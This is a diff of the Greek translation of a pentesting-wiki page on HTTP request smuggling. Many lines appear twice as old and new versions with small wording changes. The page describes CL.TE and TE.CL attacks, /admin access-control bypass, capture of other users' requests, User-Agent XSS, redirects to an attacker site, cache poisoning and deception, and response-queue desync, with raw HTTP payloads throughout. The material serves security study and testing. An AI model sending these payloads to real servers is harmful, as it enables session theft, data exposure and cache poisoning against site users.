Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατόν να **σπάσει ένας διακομιστής ιστού ενώ διαβάζετε τα αρχικά δεδομένα HTTP** αλλά **χωρίς να κλείσετε τη σύνδεση**. Με αυτόν τον τρόπο, το **σώμα** του αιτήματος HTTP θα θεωρείται το **επόμενο αίτημα HTTP**.
|
||||
|
||||
Για παράδειγμα, όπως εξηγείται σε [**αυτή την ανάρτηση**](https://mizu.re/post/twisty-python), στο Werkzeug ήταν δυνατό να σταλούν μερικοί **Unicode** χαρακτήρες και αυτό θα έκανε τον διακομιστή να **σπάσει**. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **σώμα** του αιτήματος θα αντιμετωπιστεί ως το **επόμενο αίτημα HTTP**.
|
||||
Για παράδειγμα, όπως εξηγείται σε [**αυτή την αναφορά**](https://mizu.re/post/twisty-python), στο Werkzeug ήταν δυνατό να σταλούν μερικοί **Unicode** χαρακτήρες και αυτό θα προκαλούσε **σπάσιμο** του διακομιστή. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα **`Connection: keep-alive`**, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το **σώμα** του αιτήματος θα αντιμετωπιστεί ως το **επόμενο αίτημα HTTP**.
|
||||
|
||||
#### Εξανα forcing μέσω κεφαλίδων hop-by-hop
|
||||
|
||||
Καταχρώντας τις κεφαλίδες hop-by-hop, θα μπορούσατε να υποδείξετε στον διακομιστή μεσολάβησης να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η κατάχρηση του HTTP request smuggling**.
|
||||
Καταχρώντας τις κεφαλίδες hop-by-hop, θα μπορούσατε να υποδείξετε στον proxy να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η κατάχρηση του HTTP request smuggling**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
@ -224,10 +225,10 @@ A
|
||||
|
||||
- **Παρατήρηση:**
|
||||
- Ο διακομιστής front-end επεξεργάζεται το αίτημα με βάση το `Content-Length` και κόβει το μήνυμα πρόωρα.
|
||||
- Ο διακομιστής back-end, περιμένοντας ένα chunked μήνυμα, περιμένει για το επόμενο chunk που ποτέ δεν φτάνει, προκαλώντας καθυστέρηση.
|
||||
- Ο διακομιστής back-end, περιμένοντας ένα chunked μήνυμα, περιμένει το επόμενο chunk που ποτέ δεν φτάνει, προκαλώντας καθυστέρηση.
|
||||
|
||||
- **Δείκτες:**
|
||||
- Χρονοθυρίδες ή μεγάλες καθυστερήσεις στην απάντηση.
|
||||
- Χρονοouts ή μεγάλες καθυστερήσεις στην απάντηση.
|
||||
- Λήψη σφάλματος 400 Bad Request από τον διακομιστή back-end, μερικές φορές με λεπτομερείς πληροφορίες διακομιστή.
|
||||
|
||||
### Εύρεση Ευπαθειών TE.CL Χρησιμοποιώντας Τεχνικές Χρονομέτρησης
|
||||
@ -271,17 +272,17 @@ X
|
||||
|
||||
Κατά τη δοκιμή ευπαθειών request smuggling παρεμβαίνοντας σε άλλα αιτήματα, έχετε υπόψη:
|
||||
|
||||
- **Διακριτές Συνδέσεις Δικτύου:** Τα "επίθεση" και "κανονικά" αιτήματα θα πρέπει να αποστέλλονται μέσω ξεχωριστών συνδέσεων δικτύου. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επιβεβαιώνει την παρουσία της ευπάθειας.
|
||||
- **Συνεπής URL και Παράμετροι:** Στοχεύστε να χρησιμοποιήσετε ταυτόσημα URLs και ονόματα παραμέτρων και για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους διακομιστές back-end με βάση το URL και τις παραμέτρους. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο διακομιστή, προϋπόθεση για μια επιτυχημένη επίθεση.
|
||||
- **Διακριτές Δικτυακές Συνδέσεις:** Τα "επίθεση" και "κανονικά" αιτήματα θα πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επιβεβαιώνει την παρουσία της ευπάθειας.
|
||||
- **Συνεπής URL και Παράμετροι:** Στοχεύστε να χρησιμοποιήσετε ταυτόσημες διευθύνσεις URL και ονόματα παραμέτρων και για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους διακομιστές back-end με βάση τη διεύθυνση URL και τις παραμέτρους. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο διακομιστή, προϋπόθεση για μια επιτυχημένη επίθεση.
|
||||
- **Χρονομέτρηση και Συνθήκες Αγώνα:** Το "κανονικό" αίτημα, που προορίζεται να ανιχνεύσει την παρέμβαση από το "επίθεση" αίτημα, ανταγωνίζεται άλλα ταυτόχρονα αιτήματα εφαρμογής. Επομένως, στείλτε το "κανονικό" αίτημα αμέσως μετά το "επίθεση" αίτημα. Οι πολυάσχολες εφαρμογές μπορεί να απαιτούν πολλές δοκιμές για την επιβεβαίωση της ευπάθειας.
|
||||
- **Προκλήσεις Φορτωτικής Ισορροπίας:** Οι διακομιστές front-end που λειτουργούν ως ισοσταθμιστές φορτίου μπορεί να διανέμουν αιτήματα σε διάφορα συστήματα back-end. Εάν τα "επίθεση" και "κανονικά" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα επιτύχει. Αυτό το στοιχείο ισοσταθμιστή φορτίου μπορεί να απαιτήσει πολλές προσπάθειες για την επιβεβαίωση μιας ευπάθειας.
|
||||
- **Ακούσια Επίδραση στους Χρήστες:** Εάν η επίθεσή σας επηρεάσει κατά λάθος το αίτημα άλλου χρήστη (όχι το "κανονικό" αίτημα που στείλατε για ανίχνευση), αυτό υποδεικνύει ότι η επίθεσή σας επηρέασε έναν άλλο χρήστη της εφαρμογής. Η συνεχής δοκιμή θα μπορούσε να διαταράξει άλλους χρήστες, απαιτώντας προσεκτική προσέγγιση.
|
||||
- **Προκλήσεις Φορτωτικής Ισορροπίας:** Οι διακομιστές front-end που λειτουργούν ως φορτωτές μπορεί να διανέμουν αιτήματα σε διάφορα συστήματα back-end. Εάν τα "επίθεση" και "κανονικά" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα επιτύχει. Αυτό το στοιχείο ισορροπίας φόρτου μπορεί να απαιτήσει πολλές προσπάθειες για την επιβεβαίωση μιας ευπάθειας.
|
||||
- **Ακούσια Επίδραση στους Χρήστες:** Εάν η επίθεσή σας επηρεάσει ακούσια το αίτημα άλλου χρήστη (όχι το "κανονικό" αίτημα που στείλατε για ανίχνευση), αυτό υποδεικνύει ότι η επίθεσή σας επηρέασε έναν άλλο χρήστη της εφαρμογής. Η συνεχής δοκιμή θα μπορούσε να διαταράξει άλλους χρήστες, απαιτώντας προσεκτική προσέγγιση.
|
||||
|
||||
## Κατάχρηση HTTP Request Smuggling
|
||||
|
||||
### Παράκαμψη Ασφαλείας Front-End μέσω HTTP Request Smuggling
|
||||
|
||||
Μερικές φορές, οι front-end proxies επιβάλλουν μέτρα ασφαλείας, εξετάζοντας τα εισερχόμενα αιτήματα. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενοι το HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με τον front-end proxy να μπλοκάρει ενεργά τέτοιες προσπάθειες. Ωστόσο, αυτός ο proxy μπορεί να παραλείψει να εξετάσει τα ενσωματωμένα αιτήματα μέσα σε ένα λαθραίο HTTP αίτημα, αφήνοντας ένα παραθυράκι για την παράκαμψη αυτών των περιορισμών.
|
||||
Μερικές φορές, οι front-end proxies επιβάλλουν μέτρα ασφαλείας, εξετάζοντας τα εισερχόμενα αιτήματα. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα το HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με τον front-end proxy να μπλοκάρει ενεργά τέτοιες προσπάθειες. Ωστόσο, αυτός ο proxy μπορεί να παραλείψει να εξετάσει τα ενσωματωμένα αιτήματα μέσα σε ένα λαθραίο HTTP αίτημα, αφήνοντας ένα παραθυράκι για την παράκαμψη αυτών των περιορισμών.
|
||||
|
||||
Σκεφτείτε τα παρακάτω παραδείγματα που απεικονίζουν πώς το HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να παρακάμψει τους ελέγχους ασφαλείας front-end, στοχεύοντας συγκεκριμένα τη διαδρομή `/admin`, η οποία συνήθως φυλάσσεται από τον front-end proxy:
|
||||
|
||||
@ -320,9 +321,9 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
Αντίθετα, στην επίθεση TE.CL, το αρχικό `POST` αίτημα χρησιμοποιεί `Transfer-Encoding: chunked`, και το επόμενο ενσωματωμένο αίτημα επεξεργάζεται με βάση την κεφαλίδα `Content-Length`. Παρόμοια με την επίθεση CL.TE, ο πρόδρομος διακομιστής παραβλέπει το λαθραίο αίτημα `GET /admin`, παρέχοντας ακούσια πρόσβαση στο περιορισμένο μονοπάτι `/admin`.
|
||||
Αντίθετα, στην επίθεση TE.CL, το αρχικό `POST` αίτημα χρησιμοποιεί `Transfer-Encoding: chunked`, και το επόμενο ενσωματωμένο αίτημα επεξεργάζεται με βάση την κεφαλίδα `Content-Length`. Παρόμοια με την επίθεση CL.TE, ο πρόδρομος διακομιστής παραβλέπει το λαθραίο αίτημα `GET /admin`, παρέχοντας ακούσια πρόσβαση στο περιορισμένο `/admin` μονοπάτι.
|
||||
|
||||
### Αποκάλυψη αναδιατύπωσης αιτημάτων πρόδρομου <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Αποκάλυψη αναδιατύπωσης αιτήσεων πρόδρομου <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Οι εφαρμογές συχνά χρησιμοποιούν έναν **διακομιστή πρόδρομου** για να τροποποιούν τα εισερχόμενα αιτήματα πριν τα περάσουν στον διακομιστή πίσω. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη κεφαλίδων, όπως `X-Forwarded-For: <IP του πελάτη>`, για να μεταφέρει τη διεύθυνση IP του πελάτη στον διακομιστή πίσω. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς μπορεί να αποκαλύψει τρόπους για **να παρακαμφθούν οι προστασίες** ή **να αποκαλυφθούν κρυφές πληροφορίες ή σημεία πρόσβασης**.
|
||||
|
||||
@ -375,9 +376,9 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
Σε αυτό το σενάριο, η **παράμετρος σχολίου** προορίζεται να αποθηκεύσει τα περιεχόμενα μέσα στην ενότητα σχολίων μιας ανάρτησης σε μια δημόσια προσβάσιμη σελίδα. Ως εκ τούτου, τα περιεχόμενα του επόμενου αιτήματος θα εμφανιστούν ως σχόλιο.
|
||||
Σε αυτό το σενάριο, η **παράμετρος σχολίου** προορίζεται να αποθηκεύσει τα περιεχόμενα στην ενότητα σχολίων μιας ανάρτησης σε μια δημόσια προσβάσιμη σελίδα. Ως εκ τούτου, τα περιεχόμενα του επόμενου αιτήματος θα εμφανιστούν ως σχόλιο.
|
||||
|
||||
Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρου που χρησιμοποιείται στο λαθραίο αίτημα. Για τις υποβολές φορμών που είναι κωδικοποιημένες σε URL, αυτός ο διαχωριστής είναι ο χαρακτήρας `&`. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το αίτημα του θύματος θα σταματήσει στον πρώτο `&`, ο οποίος μπορεί ακόμη και να είναι μέρος της συμβολοσειράς ερωτήματος.
|
||||
Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρου που χρησιμοποιείται στο λαθραίο αίτημα. Για τις υποβολές φορμών με κωδικοποίηση URL, αυτός ο διαχωριστής είναι ο χαρακτήρας `&`. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το αίτημα του θύματος θα σταματήσει στον πρώτο `&`, ο οποίος μπορεί ακόμη και να είναι μέρος της συμβολοσειράς ερωτήματος.
|
||||
|
||||
Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης βιώσιμη με μια ευπάθεια TE.CL. Σε τέτοιες περιπτώσεις, το αίτημα θα πρέπει να ολοκληρωθεί με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης.
|
||||
|
||||
@ -385,7 +386,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
||||
|
||||
Το HTTP Request Smuggling μπορεί να αξιοποιηθεί για να εκμεταλλευτεί ευάλωτες ιστοσελίδες σε **Reflected XSS**, προσφέροντας σημαντικά πλεονεκτήματα:
|
||||
|
||||
- Η αλληλεπίδραση με τους στόχους χρήστες **δεν απαιτείται**.
|
||||
- Η αλληλεπίδραση με τους στόχους χρήστες είναι **μη απαραίτητη**.
|
||||
- Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι **κανονικά μη προσβάσιμα**, όπως οι κεφαλίδες αιτήματος HTTP.
|
||||
|
||||
Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω της κεφαλίδας User-Agent, το παρακάτω payload δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια:
|
||||
@ -428,7 +429,7 @@ A=
|
||||
|
||||
### Εκμετάλλευση Εντός Ιστοσελίδων με HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Οι εφαρμογές συχνά ανακατευθύνουν από μια διεύθυνση URL σε άλλη χρησιμοποιώντας το hostname από το `Host` header στη διεύθυνση URL ανακατεύθυνσης. Αυτό είναι κοινό με διακομιστές ιστού όπως οι Apache και IIS. Για παράδειγμα, η αίτηση ενός φακέλου χωρίς τελικό slash έχει ως αποτέλεσμα μια ανακατεύθυνση για να συμπεριληφθεί το slash:
|
||||
Οι εφαρμογές συχνά ανακατευθύνουν από μια διεύθυνση URL σε άλλη χρησιμοποιώντας το hostname από το `Host` header στη διεύθυνση URL ανακατεύθυνσης. Αυτό είναι κοινό με διακομιστές ιστού όπως ο Apache και ο IIS. Για παράδειγμα, η αίτηση ενός φακέλου χωρίς τελικό slash έχει ως αποτέλεσμα μια ανακατεύθυνση για να συμπεριληφθεί το slash:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -466,15 +467,15 @@ Location: https://attacker-website.com/home/
|
||||
```
|
||||
Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript έχει παραβιαστεί. Ο επιτιθέμενος μπορεί δυνητικά να συμβιβάσει τον χρήστη παρέχοντας κακόβουλο JavaScript ως απάντηση.
|
||||
|
||||
### Εκμετάλλευση της δηλητηρίασης της μνήμης cache μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Εκμετάλλευση της Δηλητηρίασης Cache Ιστοσελίδας μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Η δηλητηρίαση της μνήμης cache μπορεί να εκτελεστεί εάν οποιοδήποτε στοιχείο της **υποδομής front-end αποθηκεύει περιεχόμενο**, συνήθως για να βελτιώσει την απόδοση. Με την παραποίηση της απάντησης του διακομιστή, είναι δυνατό να **δηλητηριαστεί η μνήμη cache**.
|
||||
Η δηλητηρίαση cache ιστοσελίδας μπορεί να εκτελεστεί αν οποιοδήποτε στοιχείο της **υποδομής front-end αποθηκεύει περιεχόμενο**, συνήθως για να βελτιώσει την απόδοση. Με την παραποίηση της απάντησης του διακομιστή, είναι δυνατόν να **δηλητηριαστεί η cache**.
|
||||
|
||||
Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του διακομιστή θα μπορούσαν να τροποποιηθούν για να επιστρέψουν ένα σφάλμα 404 (ανατρέξτε σε [Basic Examples](./#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσουμε τον διακομιστή ώστε να παραδώσει περιεχόμενο `/index.html` ως απάντηση σε ένα αίτημα για `/static/include.js`. Ως αποτέλεσμα, το περιεχόμενο `/static/include.js` αντικαθίσταται στη μνήμη cache με αυτό του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο στους χρήστες, δυνητικά οδηγώντας σε μια Άρνηση Υπηρεσίας (DoS).
|
||||
Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του διακομιστή θα μπορούσαν να τροποποιηθούν για να επιστρέψουν ένα σφάλμα 404 (ανατρέξτε σε [Basic Examples](./#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσουμε τον διακομιστή ώστε να παραδώσει περιεχόμενο `/index.html` ως απάντηση σε ένα αίτημα για `/static/include.js`. Ως αποτέλεσμα, το περιεχόμενο `/static/include.js` αντικαθίσταται στην cache με αυτό του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο στους χρήστες, δυνητικά οδηγώντας σε άρνηση υπηρεσίας (DoS).
|
||||
|
||||
Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή εάν ανακαλυφθεί μια **ευπάθεια Open Redirect** ή εάν υπάρχει **ανακατεύθυνση στον ιστό προς μια ανοιχτή ανακατεύθυνση**. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το αποθηκευμένο περιεχόμενο του `/static/include.js` με ένα σενάριο υπό τον έλεγχο του επιτιθέμενου, επιτρέποντας ουσιαστικά μια εκτενή επίθεση Cross-Site Scripting (XSS) σε όλους τους πελάτες που ζητούν το ενημερωμένο `/static/include.js`.
|
||||
Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή αν ανακαλυφθεί μια **ευπάθεια Open Redirect** ή αν υπάρχει **ανακατεύθυνση στον ιστό προς μια ανοιχτή ανακατεύθυνση**. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το αποθηκευμένο περιεχόμενο του `/static/include.js` με ένα σενάριο υπό τον έλεγχο του επιτιθέμενου, επιτρέποντας ουσιαστικά μια εκτενή επίθεση Cross-Site Scripting (XSS) σε όλους τους πελάτες που ζητούν το ενημερωμένο `/static/include.js`.
|
||||
|
||||
Παρακάτω είναι μια απεικόνιση της εκμετάλλευσης της **δηλητηρίασης cache σε συνδυασμό με μια ανακατεύθυνση στον ιστό προς ανοιχτή ανακατεύθυνση**. Ο στόχος είναι να τροποποιηθεί το περιεχόμενο της μνήμης cache του `/static/include.js` για να εξυπηρετήσει κώδικα JavaScript που ελέγχεται από τον επιτιθέμενο:
|
||||
Παρακάτω είναι μια απεικόνιση της εκμετάλλευσης της **δηλητηρίασης cache σε συνδυασμό με μια ανακατεύθυνση στον ιστό προς ανοιχτή ανακατεύθυνση**. Ο στόχος είναι να τροποποιηθεί το περιεχόμενο της cache του `/static/include.js` για να εξυπηρετήσει κώδικα JavaScript που ελέγχεται από τον επιτιθέμενο:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -492,20 +493,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το `/post/next?postId=3`. Αυτό το αίτημα θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την **τιμή κεφαλίδας Host** για να προσδιορίσει το domain. Αλλάζοντας την **κεφαλίδα Host**, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο domain του (**on-site redirect to open redirect**).
|
||||
Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το `/post/next?postId=3`. Αυτό το αίτημα θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την **τιμή του κεφαλίδας Host** για να προσδιορίσει το domain. Αλλάζοντας την **κεφαλίδα Host**, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο domain του (**on-site redirect to open redirect**).
|
||||
|
||||
Μετά από επιτυχή **socket poisoning**, θα πρέπει να ξεκινήσει ένα **GET request** για το `/static/include.js`. Αυτό το αίτημα θα μολυνθεί από το προηγούμενο αίτημα **on-site redirect to open redirect** και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο.
|
||||
Μετά από επιτυχές **socket poisoning**, θα πρέπει να ξεκινήσει ένα **GET request** για το `/static/include.js`. Αυτό το αίτημα θα μολυνθεί από το προηγούμενο αίτημα **on-site redirect to open redirect** και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο.
|
||||
|
||||
Στη συνέχεια, οποιοδήποτε αίτημα για το `/static/include.js` θα εξυπηρετεί το αποθηκευμένο περιεχόμενο του script του επιτιθέμενου, εκκινώντας αποτελεσματικά μια ευρεία επίθεση XSS.
|
||||
|
||||
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### Χρησιμοποιώντας HTTP request smuggling για να εκτελέσετε web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;**
|
||||
>
|
||||
> - Στο **web cache poisoning**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο εξυπηρετείται από την cache σε άλλους χρήστες της εφαρμογής.
|
||||
> - Στο **web cache deception**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στην cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από την cache.
|
||||
> - Στο **web cache deception**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στην cache, και ο επιτιθέμενος στη συνέχεια ανακτά αυτό το περιεχόμενο από την cache.
|
||||
|
||||
Ο επιτιθέμενος δημιουργεί ένα μυστικό αίτημα που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένο για τον χρήστη. Σκεφτείτε το παρακάτω παράδειγμα:
|
||||
Ο επιτιθέμενος κατασκευάζει ένα μυστικό αίτημα που ανακτά ευαίσθητο περιεχόμενο συγκεκριμένο για τον χρήστη. Σκεφτείτε το παρακάτω παράδειγμα:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -516,11 +517,11 @@ x=1
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Αν αυτό το λαθραίο αίτημα δηλητηριάσει μια είσοδο cache που προορίζεται για στατικό περιεχόμενο (π.χ., `/someimage.png`), τα ευαίσθητα δεδομένα του θύματος από το `/private/messages` μπορεί να αποθηκευτούν στην είσοδο cache του στατικού περιεχομένου. Ως εκ τούτου, ο επιτιθέμενος θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα αποθηκευμένα ευαίσθητα δεδομένα.
|
||||
Αν αυτό το smuggled request δηλητηριάσει μια είσοδο cache που προορίζεται για στατικό περιεχόμενο (π.χ., `/someimage.png`), τα ευαίσθητα δεδομένα του θύματος από το `/private/messages` μπορεί να αποθηκευτούν στην είσοδο cache του στατικού περιεχομένου. Ως εκ τούτου, ο επιτιθέμενος θα μπορούσε ενδεχομένως να ανακτήσει αυτά τα αποθηκευμένα ευαίσθητα δεδομένα.
|
||||
|
||||
### Κατάχρηση του TRACE μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**Σε αυτή την ανάρτηση**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι αν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να καταχραστεί με ένα HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιαδήποτε κεφαλίδα σταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα:
|
||||
[**Σε αυτή την ανάρτηση**](https://portswigger.net/research/trace-desync-attack) προτείνεται ότι αν ο διακομιστής έχει ενεργοποιημένη τη μέθοδο TRACE, θα μπορούσε να είναι δυνατό να καταχραστεί με ένα HTTP Request Smuggling. Αυτό συμβαίνει επειδή αυτή η μέθοδος θα ανακλά οποιοδήποτε header σταλεί στον διακομιστή ως μέρος του σώματος της απάντησης. Για παράδειγμα:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -703,7 +704,7 @@ table.add(req)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Αυτό το εργαλείο είναι ένας HTTP Fuzzer βασισμένος σε γραμματική, χρήσιμο για να βρείτε παράξενες διαφορές στο request smuggling.
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Αυτό το εργαλείο είναι ένας HTTP Fuzzer βασισμένος σε γραμματική, χρήσιμο για την ανεύρεση παράξενων αποκλίσεων στο request smuggling.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -10,7 +10,7 @@
|
||||
|
||||
Η **κύρια** **διαφορά** μεταξύ αυτής της τεχνικής και μιας κοινής HTTP Request smuggling είναι ότι **αντί** να **επιτίθεται** στο **αίτημα** του **θύματος** **προσθέτοντας ένα πρόθεμα σε αυτό**, θα **διαρρεύσουμε ή θα τροποποιήσουμε την απάντηση που λαμβάνει το θύμα**. Αυτό γίνεται στέλνοντας, αντί να στείλουμε 1 αίτημα και μισό για να καταχραστούμε το HTTP Request smuggling, **2 πλήρη αιτήματα για να αποσυγχρονίσουμε την ουρά απαντήσεων των proxies**.
|
||||
|
||||
Αυτό συμβαίνει επειδή θα μπορέσουμε να **αποσυγχρονίσουμε την ουρά απαντήσεων** έτσι ώστε η **απάντηση** από το **νόμιμο** **αίτημα** του **θύματος να σταλεί στον επιτιθέμενο**, ή **εισάγοντας περιεχόμενο ελεγχόμενο από τον επιτιθέμενο στην απάντηση προς το θύμα**.
|
||||
Αυτό συμβαίνει γιατί θα μπορέσουμε να **αποσυγχρονίσουμε την ουρά απαντήσεων** έτσι ώστε η **απάντηση** από το **νόμιμο** **αίτημα** του **θύματος να σταλεί στον επιτιθέμενο**, ή **εισάγοντας περιεχόμενο ελεγχόμενο από τον επιτιθέμενο στην απάντηση προς το θύμα**.
|
||||
|
||||
### HTTP Pipeline Desync
|
||||
|
||||
@ -20,11 +20,11 @@ HTTP/1.1 επιτρέπει να ζητάμε **διαφορετικούς πό
|
||||
|
||||
.png>)
|
||||
|
||||
Επομένως, είναι απαραίτητο το **smuggled** **αίτημα** **να χρειάζεται περισσότερο χρόνο για να επεξεργαστεί** μέσα στον backend server. Επομένως, μέχρι τη στιγμή που το smuggled αίτημα επεξεργάζεται, η επικοινωνία με τον επιτιθέμενο θα έχει τελειώσει.
|
||||
Επομένως, είναι απαραίτητο το **smuggled** **αίτημα** **να χρειάζεται περισσότερο χρόνο για να επεξεργαστεί** μέσα στον backend server. Έτσι, μέχρι τη στιγμή που το smuggled αίτημα επεξεργάζεται, η επικοινωνία με τον επιτιθέμενο θα έχει τελειώσει.
|
||||
|
||||
Αν σε αυτή τη συγκεκριμένη κατάσταση ένα **θύμα έχει στείλει ένα αίτημα** και το **smuggled αίτημα απαντηθεί πριν** από το νόμιμο αίτημα, η **smuggled απάντηση θα σταλεί στο θύμα**. Επομένως, ο επιτιθέμενος θα **ελέγχει το αίτημα που "εκτελείται" από το θύμα**.
|
||||
|
||||
